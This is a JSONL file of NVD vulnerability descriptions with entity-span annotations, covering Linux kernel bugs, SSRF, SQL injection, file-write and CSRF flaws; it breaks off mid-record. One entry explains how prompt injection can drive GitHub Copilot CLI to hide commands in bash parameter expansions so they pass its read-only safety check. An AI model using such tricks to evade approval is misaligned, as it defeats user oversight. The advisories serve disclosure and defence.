{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix krb5 mount with username option\n\nCustomer reported that some of their krb5 mounts were failing against\na single server as the client was trying to mount the shares with\nwrong credentials.  It turned out the client was reusing SMB session\nfrom first mount to try mounting the other shares, even though a\ndifferent username= option had been specified to the other mounts.\n\nBy using username mount option along with sec=krb5 to search for\nprincipals from keytab is supported by cifs.upcall(8) since\ncifs-utils-4.8.  So fix this by matching username mount option in\nmatch_session() even with Kerberos.\n\nFor example, the second mount below should fail with -ENOKEY as there\nis no 'foobar' principal in keytab (/etc/krb5.keytab).  The client\nends up reusing SMB session from first mount to perform the second\none, which is wrong.\n\n```\n$ ktutil\nktutil:  add_entry -password -p testuser -k 1 -e aes256-cts\nPassword for testuser@ZELDA.TEST:\nktutil:  write_kt /etc/krb5.keytab\nktutil:  quit\n$ klist -ke\nKeytab name: FILE:/etc/krb5.keytab\nKVNO Principal\n ---- ----------------------------------------------------------------\n   1 testuser@ZELDA.TEST (aes256-cts-hmac-sha1-96)\n$ mount.cifs //w22-root2/scratch /mnt/1 -o sec=krb5,username=testuser\n$ mount.cifs //w22-root2/scratch /mnt/2 -o sec=krb5,username=foobar\n$ mount -t cifs | grep -Po 'username=\\K\\w+'\ntestuser\ntestuser\n```", "spans": {"EMAIL: testuser@ZELDA.TEST": [[997, 1016], [1205, 1224]], "FILEPATH: /etc/krb5.keytab": [[791, 807], [1036, 1052], [1097, 1113]], "FILEPATH: /w22-root2/scratch": [[1265, 1283], [1335, 1353]], "FILEPATH: /mnt/1": [[1284, 1290]], "FILEPATH: /mnt/2": [[1354, 1360]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31392"}}
{"text": "Fireshare facilitates self-hosted media and link sharing. Prior to version 1.5.3, the fix for CVE-2026-33645 was applied to the authenticated /api/uploadChunked endpoint but was not applied to the unauthenticated /api/uploadChunked/public endpoint in the same file (app/server/fireshare/api.py). An unauthenticated attacker can exploit the checkSum parameter to write arbitrary files with attacker-controlled content to any writable path on the server filesystem. This issue has been patched in version 1.5.3.", "spans": {"CVE_ID: CVE-2026-33645": [[94, 108]], "FILEPATH: /api/uploadChunked": [[142, 160]], "FILEPATH: /api/uploadChunked/public": [[213, 238]], "FILEPATH: /server/fireshare/api.py": [[269, 293]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34745"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: kmem: fix a NULL pointer dereference in obj_stock_flush_required()\n\nKCSAN found an issue in obj_stock_flush_required():\nstock->cached_objcg can be reset between the check and dereference:\n\n==================================================================\nBUG: KCSAN: data-race in drain_all_stock / drain_obj_stock\n\nwrite to 0xffff888237c2a2f8 of 8 bytes by task 19625 on cpu 0:\n drain_obj_stock+0x408/0x4e0 mm/memcontrol.c:3306\n refill_obj_stock+0x9c/0x1e0 mm/memcontrol.c:3340\n obj_cgroup_uncharge+0xe/0x10 mm/memcontrol.c:3408\n memcg_slab_free_hook mm/slab.h:587 [inline]\n __cache_free mm/slab.c:3373 [inline]\n __do_kmem_cache_free mm/slab.c:3577 [inline]\n kmem_cache_free+0x105/0x280 mm/slab.c:3602\n __d_free fs/dcache.c:298 [inline]\n dentry_free fs/dcache.c:375 [inline]\n __dentry_kill+0x422/0x4a0 fs/dcache.c:621\n dentry_kill+0x8d/0x1e0\n dput+0x118/0x1f0 fs/dcache.c:913\n __fput+0x3bf/0x570 fs/file_table.c:329\n ____fput+0x15/0x20 fs/file_table.c:349\n task_work_run+0x123/0x160 kernel/task_work.c:179\n resume_user_mode_work include/linux/resume_user_mode.h:49 [inline]\n exit_to_user_mode_loop+0xcf/0xe0 kernel/entry/common.c:171\n exit_to_user_mode_prepare+0x6a/0xa0 kernel/entry/common.c:203\n __syscall_exit_to_user_mode_work kernel/entry/common.c:285 [inline]\n syscall_exit_to_user_mode+0x26/0x140 kernel/entry/common.c:296\n do_syscall_64+0x4d/0xc0 arch/x86/entry/common.c:86\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nread to 0xffff888237c2a2f8 of 8 bytes by task 19632 on cpu 1:\n obj_stock_flush_required mm/memcontrol.c:3319 [inline]\n drain_all_stock+0x174/0x2a0 mm/memcontrol.c:2361\n try_charge_memcg+0x6d0/0xd10 mm/memcontrol.c:2703\n try_charge mm/memcontrol.c:2837 [inline]\n mem_cgroup_charge_skmem+0x51/0x140 mm/memcontrol.c:7290\n sock_reserve_memory+0xb1/0x390 net/core/sock.c:1025\n sk_setsockopt+0x800/0x1e70 net/core/sock.c:1525\n udp_lib_setsockopt+0x99/0x6c0 net/ipv4/udp.c:2692\n udp_setsockopt+0x73/0xa0 net/ipv4/udp.c:2817\n sock_common_setsockopt+0x61/0x70 net/core/sock.c:3668\n __sys_setsockopt+0x1c3/0x230 net/socket.c:2271\n __do_sys_setsockopt net/socket.c:2282 [inline]\n __se_sys_setsockopt net/socket.c:2279 [inline]\n __x64_sys_setsockopt+0x66/0x80 net/socket.c:2279\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x41/0xc0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nvalue changed: 0xffff8881382d52c0 -> 0xffff888138893740\n\nReported by Kernel Concurrency Sanitizer on:\nCPU: 1 PID: 19632 Comm: syz-executor.0 Not tainted 6.3.0-rc2-syzkaller-00387-g534293368afa #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/02/2023\n\nFix it by using READ_ONCE()/WRITE_ONCE() for all accesses to\nstock->cached_objcg.", "spans": {"FILEPATH: /linux/resume_user_mode.h": [[1110, 1135]], "FILEPATH: /entry/common.c": [[1188, 1203], [1251, 1266], [1311, 1326], [1384, 1399]], "FILEPATH: /x86/entry/common.c": [[1433, 1452], [2285, 2304], [2346, 2365]], "FILEPATH: /core/sock.c": [[1852, 1864], [1901, 1913], [2053, 2065]], "FILEPATH: /ipv4/udp.c": [[1953, 1964], [1999, 2010]], "FILEPATH: /02/2023": [[2689, 2697]], "FILEPATH: memcontrol.c": [[484, 496], [534, 546], [585, 597], [1590, 1602], [1649, 1661], [1700, 1712], [1733, 1745], [1799, 1811]], "FILEPATH: slab.h": [[628, 634]], "FILEPATH: slab.c": [[665, 671], [711, 717], [764, 770]], "FILEPATH: dcache.c": [[789, 797], [827, 835], [879, 887], [937, 945]], "FILEPATH: file_table.c": [[973, 985], [1013, 1025]], "FILEPATH: task_work.c": [[1064, 1075]], "FILEPATH: socket.c": [[2105, 2113], [2144, 2152], [2192, 2200], [2251, 2259]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[2623, 2629], [2630, 2636], [2652, 2658], [2680, 2686]], "VULNERABILITY: NULL pointer dereference": [[85, 109]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53401"}}
{"text": "A privilege escalation vulnerability in Juniper Networks QFX10K Series, EX9200 Series, MX Series, and PTX Series with Next-Generation Routing Engine (NG-RE), allows a local authenticated high privileged user to access the underlying WRL host. This issue only affects QFX10K Series with NG-RE, EX9200 Series with NG-RE, MX Series with NG-RE and PTX Series with NG-RE; which uses vmhost. This issue affects Juniper Networks Junos OS: 16.1 versions prior to 16.1R7-S6; 16.2 versions prior to 16.2R2-S11; 17.1 versions prior to 17.1R2-S11, 17.1R3; 17.2 versions prior to 17.2R1-S9, 17.2R3-S3; 17.3 versions prior to 17.3R2-S5, 17.3R3-S7; 17.4 versions prior to 17.4R2-S7, 17.4R3; 18.1 versions prior to 18.1R3-S4; 18.2 versions prior to 18.2R3; 18.2X75 versions prior to 18.2X75-D50; 18.3 versions prior to 18.3R2; 18.4 versions prior to 18.4R2. To identify whether the device has NG-RE with vmhost, customer can run the following command: > show vmhost status Compute cluster: rainier-re-cc Compute Node: rainier-re-cn, Online If the \"show vmhost status\" is not supported, then the device does not have NG-RE with vmhost.", "spans": {"ORGANIZATION: Juniper": [[40, 47], [405, 412]], "VULNERABILITY: privilege escalation": [[2, 22]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1619"}}
{"text": "The Pimcore Admin Classic Bundle provides a Backend UI for Pimcore. Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view. In the case of pimcore, the fopen() function here doesn't have an error handle when the file doesn't exist on the server so the server response raises the full path \"fopen(/var/www/html/var/tmp/export-{ uniqe id}.csv)\". This issue has been patched in commit `10d178ef771` which has been included in release version 1.2.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: /home/omg/htdocs/file/.": [[174, 197]], "FILEPATH: /var/www/html/var/tmp/export-": [[555, 584]], "VULNERABILITY: SQL Injection": [[263, 276]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-47636"}}
{"text": "MobSF is a mobile application security testing tool used. Prior to version 4.4.6, MobSF's `read_sqlite()` function in `mobsf/MobSF/utils.py` (lines 542-566) uses Python string formatting (`%`) to construct SQL queries with table names read from a SQLite database's `sqlite_master` table. When a security analyst uses MobSF to analyze a malicious mobile application containing a crafted SQLite database, attacker-controlled table names are interpolated directly into SQL queries without parameterization or escaping. This allows an attacker to cause denial of service and achieve SQL injection. Version 4.4.6 patches the issue.", "spans": {"FILEPATH: /MobSF/utils.py": [[124, 139]], "SYSTEM: SQLite": [[247, 253], [386, 392]], "SYSTEM: Python": [[162, 168]], "VULNERABILITY: denial of service": [[549, 566]], "VULNERABILITY: SQL injection": [[579, 592]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33545"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nseg6: fix the iif in the IPv6 socket control block\n\nWhen an IPv4 packet is received, the ip_rcv_core(...) sets the receiving\ninterface index into the IPv4 socket control block (v5.16-rc4,\nnet/ipv4/ip_input.c line 510):\n\n    IPCB(skb)->iif = skb->skb_iif;\n\nIf that IPv4 packet is meant to be encapsulated in an outer IPv6+SRH\nheader, the seg6_do_srh_encap(...) performs the required encapsulation.\nIn this case, the seg6_do_srh_encap function clears the IPv6 socket control\nblock (v5.16-rc4 net/ipv6/seg6_iptunnel.c line 163):\n\n    memset(IP6CB(skb), 0, sizeof(*IP6CB(skb)));\n\nThe memset(...) was introduced in commit ef489749aae5 (\"ipv6: sr: clear\nIP6CB(skb) on SRH ip4ip6 encapsulation\") a long time ago (2019-01-29).\n\nSince the IPv6 socket control block and the IPv4 socket control block share\nthe same memory area (skb->cb), the receiving interface index info is lost\n(IP6CB(skb)->iif is set to zero).\n\nAs a side effect, that condition triggers a NULL pointer dereference if\ncommit 0857d6f8c759 (\"ipv6: When forwarding count rx stats on the orig\nnetdev\") is applied.\n\nTo fix that issue, we set the IP6CB(skb)->iif with the index of the\nreceiving interface once again.", "spans": {"FILEPATH: /ipv4/ip_input.c": [[260, 276]], "FILEPATH: /ipv6/seg6_iptunnel.c": [[562, 583]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[1019, 1043]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47515"}}
{"text": "AliasVault is a privacy-first password manager with built-in email aliasing. A server-side request forgery (SSRF) vulnerability exists in the favicon extraction feature of AliasVault API versions 0.23.0 and lower. The extractor fetches a user-supplied URL, parses the returned HTML, and follows <link rel=\"icon\" href=\"…\">. Although the initial URL is validated to allow only HTTP/HTTPS with default ports, the extractor automatically follows redirects and does not block requests to loopback or internal IP ranges. An authenticated, low-privileged user can exploit this behavior to coerce the backend into making HTTP(S) requests to arbitrary internal hosts and non-default ports. If the target host serves a favicon or any other valid image, the response is returned to the attacker in Base64 form. Even when no data is returned, timing and error behavior can be abused to map internal services. This vulnerability only affects self-hosted AliasVault instances that are reachable from the public internet with public user registration enabled. Private/internal deployments without public sign-ups are not directly exploitable. This issue has been fixed in AliasVault release 0.23.1.", "spans": {"VULNERABILITY: server-side request forgery": [[79, 106]], "VULNERABILITY: SSRF": [[108, 112]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-59344"}}
{"text": "Vulnerability in the Oracle Argus Safety product of Oracle Health Sciences Applications (component: Case Form, Local Affiliate Form). The supported version that is affected is 8.2.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Argus Safety. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Argus Safety, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Argus Safety accessible data as well as unauthorized read access to a subset of Oracle Argus Safety accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [52, 58], [291, 297], [429, 435], [615, 621], [702, 708]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2040"}}
{"text": "The shell tool within GitHub Copilot CLI versions prior to and including 0.0.422 can allow arbitrary code execution through crafted bash parameter expansion patterns. An attacker who can influence the commands executed by the agent (e.g., via prompt injection through repository files, MCP server responses, or user instructions) can exploit bash parameter transformation operators to execute hidden commands, bypassing the safety assessment that classifies commands as \"read-only.\" This has been patched in version 0.0.423. \n\nThe vulnerability stems from how the CLI's shell safety assessment evaluates commands before execution. The safety layer parses and classifies shell commands as either read-only (safe) or write-capable (requires user approval). However, several bash parameter expansion features can embed executable code within arguments to otherwise read-only commands, causing them to appear safe while actually performing arbitrary operations.\n\nThe specific dangerous patterns are ${var@P}, ${var=value} / ${var:=value}, ${!var}, and nested $(cmd) or <(cmd) inside ${...} expansions. An attacker who can influence command text sent to the shell tool - for example, through prompt injection via malicious repository content (README files, code comments, issue bodies), compromised or malicious MCP server responses, or crafted user instructions containing obfuscated commands - could achieve arbitrary code execution on the user's workstation. This is possible even in permission modes that require user approval for write operations, since the commands can appear to use only read-only utilities to ultimately trigger write operations. Successful exploitation could lead to data exfiltration, file modification, or further system compromise.", "spans": {"ORGANIZATION: GitHub": [[22, 28]], "VULNERABILITY: code execution": [[101, 115], [1415, 1429]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-29783"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfscache: Use wait_on_bit() to wait for the freeing of relinquished volume\n\nThe freeing of relinquished volume will wake up the pending volume\nacquisition by using wake_up_bit(), however it is mismatched with\nwait_var_event() used in fscache_wait_on_volume_collision() and it will\nnever wake up the waiter in the wait-queue because these two functions\noperate on different wait-queues.\n\nAccording to the implementation in fscache_wait_on_volume_collision(),\nif the wake-up of pending acquisition is delayed longer than 20 seconds\n(e.g., due to the delay of on-demand fd closing), the first\nwait_var_event_timeout() will timeout and the following wait_var_event()\nwill hang forever as shown below:\n\n FS-Cache: Potential volume collision new=00000024 old=00000022\n ......\n INFO: task mount:1148 blocked for more than 122 seconds.\n       Not tainted 6.1.0-rc6+ #1\n task:mount           state:D stack:0     pid:1148  ppid:1\n Call Trace:\n  <TASK>\n  __schedule+0x2f6/0xb80\n  schedule+0x67/0xe0\n  fscache_wait_on_volume_collision.cold+0x80/0x82\n  __fscache_acquire_volume+0x40d/0x4e0\n  erofs_fscache_register_volume+0x51/0xe0 [erofs]\n  erofs_fscache_register_fs+0x19c/0x240 [erofs]\n  erofs_fc_fill_super+0x746/0xaf0 [erofs]\n  vfs_get_super+0x7d/0x100\n  get_tree_nodev+0x16/0x20\n  erofs_fc_get_tree+0x20/0x30 [erofs]\n  vfs_get_tree+0x24/0xb0\n  path_mount+0x2fa/0xa90\n  do_mount+0x7c/0xa0\n  __x64_sys_mount+0x8b/0xe0\n  do_syscall_64+0x30/0x60\n  entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nConsidering that wake_up_bit() is more selective, so fix it by using\nwait_on_bit() instead of wait_var_event() to wait for the freeing of\nrelinquished volume. In addition because waitqueue_active() is used in\nwake_up_bit() and clear_bit() doesn't imply any memory barrier, use\nclear_and_wake_up_bit() to add the missing memory barrier between\ncursor->flags and waitqueue_active().", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52982"}}
{"text": "Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Workbench). Supported versions that are affected are 11.0, 11.1, 11.2 and prior to 11.3.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data as well as unauthorized access to critical data or complete access to all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [53, 59], [99, 105], [328, 334], [360, 366], [530, 536], [562, 568], [687, 693], [719, 725]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14536"}}
{"text": "A vulnerability in the web-based management interface of RAD SecFlow-1v os-image SF_0290_2.3.01.26 could allow an unauthenticated, remote attacker to conduct a cross-site request forgery (CSRF) attack on an affected system. The vulnerability is due to insufficient CSRF protections for the web UI on an affected device. An attacker could exploit this vulnerability by persuading a user of the interface to follow a malicious link. A successful exploit could allow the attacker to perform arbitrary actions with the privilege level of the affected user. This could be exploited in conjunction with CVE-2020-13260.", "spans": {"CVE_ID: CVE-2020-13260": [[597, 611]], "VULNERABILITY: cross-site request forgery": [[160, 186]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-13259"}}
{"text": "WriteOnePNGImage() from coders/png.c (the PNG coder) has a for loop with an improper exit condition that can allow an out-of-bounds READ via heap-buffer-overflow. This occurs because it is possible for the colormap to have less than 256 valid values but the loop condition will loop 256 times, attempting to pass invalid colormap data to the event logger. The patch replaces the hardcoded 256 value with a call to MagickMin() to ensure the proper value is used. This could impact application availability when a specially crafted input file is processed by ImageMagick. This flaw affects ImageMagick versions prior to 7.0.8-68.", "spans": {"FILEPATH: png.c": [[31, 36]], "SYSTEM: ImageMagick": [[557, 568], [588, 599]], "VULNERABILITY: out-of-bounds READ": [[118, 136]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-25674"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmlxsw: spectrum_buffers: Fix memory corruptions on Spectrum-4 systems\n\nThe following two shared buffer operations make use of the Shared Buffer\nStatus Register (SBSR):\n\n # devlink sb occupancy snapshot pci/0000:01:00.0\n # devlink sb occupancy clearmax pci/0000:01:00.0\n\nThe register has two masks of 256 bits to denote on which ingress /\negress ports the register should operate on. Spectrum-4 has more than\n256 ports, so the register was extended by cited commit with a new\n'port_page' field.\n\nHowever, when filling the register's payload, the driver specifies the\nports as absolute numbers and not relative to the first port of the port\npage, resulting in memory corruptions [1].\n\nFix by specifying the ports relative to the first port of the port page.\n\n[1]\nBUG: KASAN: slab-use-after-free in mlxsw_sp_sb_occ_snapshot+0xb6d/0xbc0\nRead of size 1 at addr ffff8881068cb00f by task devlink/1566\n[...]\nCall Trace:\n <TASK>\n dump_stack_lvl+0xc6/0x120\n print_report+0xce/0x670\n kasan_report+0xd7/0x110\n mlxsw_sp_sb_occ_snapshot+0xb6d/0xbc0\n mlxsw_devlink_sb_occ_snapshot+0x75/0xb0\n devlink_nl_sb_occ_snapshot_doit+0x1f9/0x2a0\n genl_family_rcv_msg_doit+0x20c/0x300\n genl_rcv_msg+0x567/0x800\n netlink_rcv_skb+0x170/0x450\n genl_rcv+0x2d/0x40\n netlink_unicast+0x547/0x830\n netlink_sendmsg+0x8d4/0xdb0\n __sys_sendto+0x49b/0x510\n __x64_sys_sendto+0xe5/0x1c0\n do_syscall_64+0xc1/0x1d0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n[...]\nAllocated by task 1:\n kasan_save_stack+0x33/0x60\n kasan_save_track+0x14/0x30\n __kasan_kmalloc+0x8f/0xa0\n copy_verifier_state+0xbc2/0xfb0\n do_check_common+0x2c51/0xc7e0\n bpf_check+0x5107/0x9960\n bpf_prog_load+0xf0e/0x2690\n __sys_bpf+0x1a61/0x49d0\n __x64_sys_bpf+0x7d/0xc0\n do_syscall_64+0xc1/0x1d0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nFreed by task 1:\n kasan_save_stack+0x33/0x60\n kasan_save_track+0x14/0x30\n kasan_save_free_info+0x3b/0x60\n poison_slab_object+0x109/0x170\n __kasan_slab_free+0x14/0x30\n kfree+0xca/0x2b0\n free_verifier_state+0xce/0x270\n do_check_common+0x4828/0xc7e0\n bpf_check+0x5107/0x9960\n bpf_prog_load+0xf0e/0x2690\n __sys_bpf+0x1a61/0x49d0\n __x64_sys_bpf+0x7d/0xc0\n do_syscall_64+0xc1/0x1d0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[847, 861]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42073"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbnxt_en: Fix aggregation ID mask to prevent oops on 5760X chips\n\nThe 5760X (P7) chip's HW GRO/LRO interface is very similar to that of\nthe previous generation (5750X or P5).  However, the aggregation ID\nfields in the completion structures on P7 have been redefined from\n16 bits to 12 bits.  The freed up 4 bits are redefined for part of the\nmetadata such as the VLAN ID.  The aggregation ID mask was not modified\nwhen adding support for P7 chips.  Including the extra 4 bits for the\naggregation ID can potentially cause the driver to store or fetch the\npacket header of GRO/LRO packets in the wrong TPA buffer.  It may hit\nthe BUG() condition in __skb_pull() because the SKB contains no valid\npacket header:\n\nkernel BUG at include/linux/skbuff.h:2766!\nOops: invalid opcode: 0000 1 PREEMPT SMP NOPTI\nCPU: 4 UID: 0 PID: 0 Comm: swapper/4 Kdump: loaded Tainted: G           OE      6.12.0-rc2+ #7\nTainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE\nHardware name: Dell Inc. PowerEdge R760/0VRV9X, BIOS 1.0.1 12/27/2022\nRIP: 0010:eth_type_trans+0xda/0x140\nCode: 80 00 00 00 eb c1 8b 47 70 2b 47 74 48 8b 97 d0 00 00 00 83 f8 01 7e 1b 48 85 d2 74 06 66 83 3a ff 74 09 b8 00 04 00 00 eb a5 <0f> 0b b8 00 01 00 00 eb 9c 48 85 ff 74 eb 31 f6 b9 02 00 00 00 48\nRSP: 0018:ff615003803fcc28 EFLAGS: 00010283\nRAX: 00000000000022d2 RBX: 0000000000000003 RCX: ff2e8c25da334040\nRDX: 0000000000000040 RSI: ff2e8c25c1ce8000 RDI: ff2e8c25869f9000\nRBP: ff2e8c258c31c000 R08: ff2e8c25da334000 R09: 0000000000000001\nR10: ff2e8c25da3342c0 R11: ff2e8c25c1ce89c0 R12: ff2e8c258e0990b0\nR13: ff2e8c25bb120000 R14: ff2e8c25c1ce89c0 R15: ff2e8c25869f9000\nFS:  0000000000000000(0000) GS:ff2e8c34be300000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 000055f05317e4c8 CR3: 000000108bac6006 CR4: 0000000000773ef0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe07f0 DR7: 0000000000000400\nPKRU: 55555554\nCall Trace:\n <IRQ>\n ? die+0x33/0x90\n ? do_trap+0xd9/0x100\n ? eth_type_trans+0xda/0x140\n ? do_error_trap+0x65/0x80\n ? eth_type_trans+0xda/0x140\n ? exc_invalid_op+0x4e/0x70\n ? eth_type_trans+0xda/0x140\n ? asm_exc_invalid_op+0x16/0x20\n ? eth_type_trans+0xda/0x140\n bnxt_tpa_end+0x10b/0x6b0 [bnxt_en]\n ? bnxt_tpa_start+0x195/0x320 [bnxt_en]\n bnxt_rx_pkt+0x902/0xd90 [bnxt_en]\n ? __bnxt_tx_int.constprop.0+0x89/0x300 [bnxt_en]\n ? kmem_cache_free+0x343/0x440\n ? __bnxt_tx_int.constprop.0+0x24f/0x300 [bnxt_en]\n __bnxt_poll_work+0x193/0x370 [bnxt_en]\n bnxt_poll_p5+0x9a/0x300 [bnxt_en]\n ? try_to_wake_up+0x209/0x670\n __napi_poll+0x29/0x1b0\n\nFix it by redefining the aggregation ID mask for P5_PLUS chips to be\n12 bits.  This will work because the maximum aggregation ID is less\nthan 4096 on all P5_PLUS chips.", "spans": {"FILEPATH: /linux/skbuff.h": [[799, 814]], "FILEPATH: /27/2022": [[1069, 1077]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Dell": [[1023, 1027]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56656"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions most implementations of convolution operators in TensorFlow are affected by a division by 0 vulnerability where an attacker can trigger a denial of service via a crash. The shape inference [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/framework/common_shape_fns.cc#L577) is missing several validations before doing divisions and modulo operations. We have patched the issue in GitHub commit 8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/framework/common_shape_fns.cc#L577": [[298, 435]], "HASH: 8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4": [[557, 597]], "ORGANIZATION: GitHub": [[543, 549]], "VULNERABILITY: denial of service": [[230, 247]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37675"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64/entry: Mask DAIF in cpu_switch_to(), call_on_irq_stack()\n\n`cpu_switch_to()` and `call_on_irq_stack()` manipulate SP to change\nto different stacks along with the Shadow Call Stack if it is enabled.\nThose two stack changes cannot be done atomically and both functions\ncan be interrupted by SErrors or Debug Exceptions which, though unlikely,\nis very much broken : if interrupted, we can end up with mismatched stacks\nand Shadow Call Stack leading to clobbered stacks.\n\nIn `cpu_switch_to()`, it can happen when SP_EL0 points to the new task,\nbut x18 stills points to the old task's SCS. When the interrupt handler\ntries to save the task's SCS pointer, it will save the old task\nSCS pointer (x18) into the new task struct (pointed to by SP_EL0),\nclobbering it.\n\nIn `call_on_irq_stack()`, it can happen when switching from the task stack\nto the IRQ stack and when switching back. In both cases, we can be\ninterrupted when the SCS pointer points to the IRQ SCS, but SP points to\nthe task stack. The nested interrupt handler pushes its return addresses\non the IRQ SCS. It then detects that SP points to the task stack,\ncalls `call_on_irq_stack()` and clobbers the task SCS pointer with\nthe IRQ SCS pointer, which it will also use !\n\nThis leads to tasks returning to addresses on the wrong SCS,\nor even on the IRQ SCS, triggering kernel panics via CONFIG_VMAP_STACK\nor FPAC if enabled.\n\nThis is possible on a default config, but unlikely.\nHowever, when enabling CONFIG_ARM64_PSEUDO_NMI, DAIF is unmasked and\ninstead the GIC is responsible for filtering what interrupts the CPU\nshould receive based on priority.\nGiven the goal of emulating NMIs, pseudo-NMIs can be received by the CPU\neven in `cpu_switch_to()` and `call_on_irq_stack()`, possibly *very*\nfrequently depending on the system configuration and workload, leading\nto unpredictable kernel panics.\n\nCompletely mask DAIF in `cpu_switch_to()` and restore it when returning.\nDo the same in `call_on_irq_stack()`, but restore and mask around\nthe branch.\nMask DAIF even if CONFIG_SHADOW_CALL_STACK is not enabled for consistency\nof behaviour between all configurations.\n\nIntroduce and use an assembly macro for saving and masking DAIF,\nas the existing one saves but only masks IF.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38670"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: caam - Prevent crash on suspend with iMX8QM / iMX8ULP\n\nSince the CAAM on these SoCs is managed by another ARM core, called the\nSECO (Security Controller) on iMX8QM and Secure Enclave on iMX8ULP, which\nalso reserves access to register page 0 suspend operations cannot touch\nthis page.\n\nThis is similar to when running OPTEE, where OPTEE will reserve page 0.\n\nTrack this situation using a new state variable no_page0, reflecting if\npage 0 is reserved elsewhere, either by other management cores in SoC or\nby OPTEE.\n\nReplace the optee_en check in suspend/resume with the new check.\n\noptee_en cannot go away as it's needed elsewhere to gate OPTEE specific\nsituations.\n\nFixes the following splat at suspend:\n\n    Internal error: synchronous external abort: 0000000096000010 [#1] SMP\n    Hardware name: Freescale i.MX8QXP ACU6C (DT)\n    pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n    pc : readl+0x0/0x18\n    lr : rd_reg32+0x18/0x3c\n    sp : ffffffc08192ba20\n    x29: ffffffc08192ba20 x28: ffffff8025190000 x27: 0000000000000000\n    x26: ffffffc0808ae808 x25: ffffffc080922338 x24: ffffff8020e89090\n    x23: 0000000000000000 x22: ffffffc080922000 x21: ffffff8020e89010\n    x20: ffffffc080387ef8 x19: ffffff8020e89010 x18: 000000005d8000d5\n    x17: 0000000030f35963 x16: 000000008f785f3f x15: 000000003b8ef57c\n    x14: 00000000c418aef8 x13: 00000000f5fea526 x12: 0000000000000001\n    x11: 0000000000000002 x10: 0000000000000001 x9 : 0000000000000000\n    x8 : 